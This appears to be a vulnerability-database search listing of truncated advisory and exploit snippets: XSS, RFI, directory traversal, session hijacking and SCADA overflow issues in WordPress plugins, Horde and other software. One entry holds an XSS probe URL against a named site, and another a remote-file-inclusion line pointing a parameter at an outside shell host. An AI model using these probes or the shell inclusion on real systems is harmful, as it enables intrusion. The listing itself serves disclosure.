83 matches found
Moderate: Red Hat Security Advisory: liblouis security update
An update for liblouis is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from t...
WordPress PopCash.Net Code Integration Tool plugin <=1.0 - Cross-Site Scripting (XSS) vulnerability
Cross-Site Scripting XSS vulnerability found by Ricardo Sanchez in WordPress PopCash.Net Code Integration Tool plugin versions =1.0. Vulnerable due to poor submitted data sanitization. Solution Update the WordPress PopCash.Net Code Integration Tool plugin to the latest available version at least...
WordPress Influencer Marketing And Press Release System 2.2 XSS
Class Input Validation Error Remote Yes Reflected Yes Credit Ricardo Sanchez Vulnerable Influencer Marketing & Press Release System plugin 2.2 Influencer Marketing & Press Release System plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplie...
WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting
Class Input Validation Error Remote Yes Reflected Yes Credit Ricardo Sanchez Vulnerable PopCash.Net Publisher Code Integration plugin 1.0 PopCash.Net Publisher Code Integration plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An...
WordPress TR Easy Google Analytics 1.0.0 Cross Site Scripting
Class Input Validation Error Remote Yes Reflected Yes Credit Ricardo Sanchez Vulnerable TR Easy Google Analytics plugin 1.0.0 TR Easy Google Analytics plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage thi...
WordPress Smush Image 2.7.4.1 Directory Traversal Vulnerability
WordPress Smush Image plugin version 2.7.4.1 suffers from a directory traversal vulnerability. Credit Ricardo Sanchez Smush Image Wordpress WP plugin is prone to file transversal vulnerability because it fails to sufficiently folders privacy. To exploit this issue following steps: Demo url:...
rodriguez-sanchez.de XSS vulnerability
Vulnerable URL: http://www.rodriguez-sanchez.de/typo3conf/ext/kjimagelightbox2/lib/class.txkjimagelightbox2print.php?image=13'" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...
FreeIPA 2.213 Session Hijacking
Description An attacker can hijack the session to unlock the users when they has been locked with his last sesiA3n. ===================================================================== Session hijacking This type of attack involves an adversary that exploits weaknesses in an application's use of...
PACTware Exceptional Conditions Vulnerability
OVERVIEW Ivan Sanchez from Nullcode Team has identified a handling of exceptional conditions vulnerability in PACTware Consortium’s PACTware application. PACTware Consortium has produced a new service pack that mitigates this vulnerability. Ivan Sanchez has tested the new version to validate that...
WS10 Data Server SCADA Exploit Overflow PoC
No description provided by source. Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC Date: 09/23/2014 Author: Pedro Sánchez Version: 1.83 English Tested on: Windows 7 embedded. Notified the vendor, vendor never responded. In the new version this PoC stops working Vendor: Novus...
WS10 Data Server SCADA Overflow PoC Exploit
WS10 Data Server version 1.83 SCADA buffer overflow proof of concept exploit. Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC Date: 09/23/2014 Author: Pedro Sánchez Version: 1.83 English Tested on: Windows 7 embedded. Notified the vendor, vendor never responded. In the new version this...
Adult Webmaster Script Password Disclosure
Exploit Title: Yagina.com Adult Webmaster Script Admin Password Disclosure Category:webapps Description software : software website for webmasters promoting adult companies through referrals Date: 21-1-2013 Exploit Author: Dshellnoi Unix Vendor Homepage: http://www.yagina.com/ Software Link:...
NTSOFT BBS E-Market Professional Cross Site Scripting
+================================================================================================+ + NTSOFT BBS E-Market Professional & XSS and Remote Execution Evil code + +================================================================================================+ Authors: Ivan Sanchez...
hordekrono-xss.txt
+==========================================================================+ + Horde & Kronolith Calendar Application & XSS Vulnerabilities + +==========================================================================+ Authors: Ivan Sanchez Product: Kronolith Calendar Application Web:...
hordeturba-xss.txt
+==========================================================================+ + Horde & Turba Contact Manager & XSS Vulnerabilities + +==========================================================================+ Authors: Ivan Sanchez Product: Turba Contact Manager Web: http://www.horde.org Versions...
Team SHATTER Security Advisory: Multiple DoS in JAR files manipulation procedures
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Team SHATTER Security Advisory Multiple DoS in JAR files manipulation procedures April 17th 2008 Risk Level: High Affected versions: All versions of IBM DB2 Database Server on Windows platform. Remote exploitable: Yes Authentication to Database Server...
geocarts-xssrfi.txt
+==========================================================================================+ + Powered By GeeCarts = ALL VERSIONS XSS & RFI Multiple Remote Vulnerabilities + +==========================================================================================+ Authors: Ivan Sanchez Product:...
vortex-rfi.txt
Vortex Portal 1.0.42 RFI ---------- Author : ShAy6oOoN ---------- Group : PitBull Crew ---------- Script : Vortex Portal 1.0.42 ---------- Download : http://www.igamingcms.com/legacy-software/VortexPortal1.0.42.zip ---------- Vuln Type: RFI ---------- Registerglobals: ON -----------------...
blabchat-xss.txt
+==================================================================+ + BlaB! Chat 3.3 XSS Multiple Remote Vulnerabilities + +==================================================================+ Authors: Ivan Sanchez & Maximiliano Soler Product: BlaB! Chat Web: http://hot-things.net/ Versions: 3.3...
MyNewsGroups >> RFI in include.php
Author: Carlos Sanchez,[email protected] BY : www.hackerz.ir users, ali & saeid exploit : include.php?myngroot=http://shell...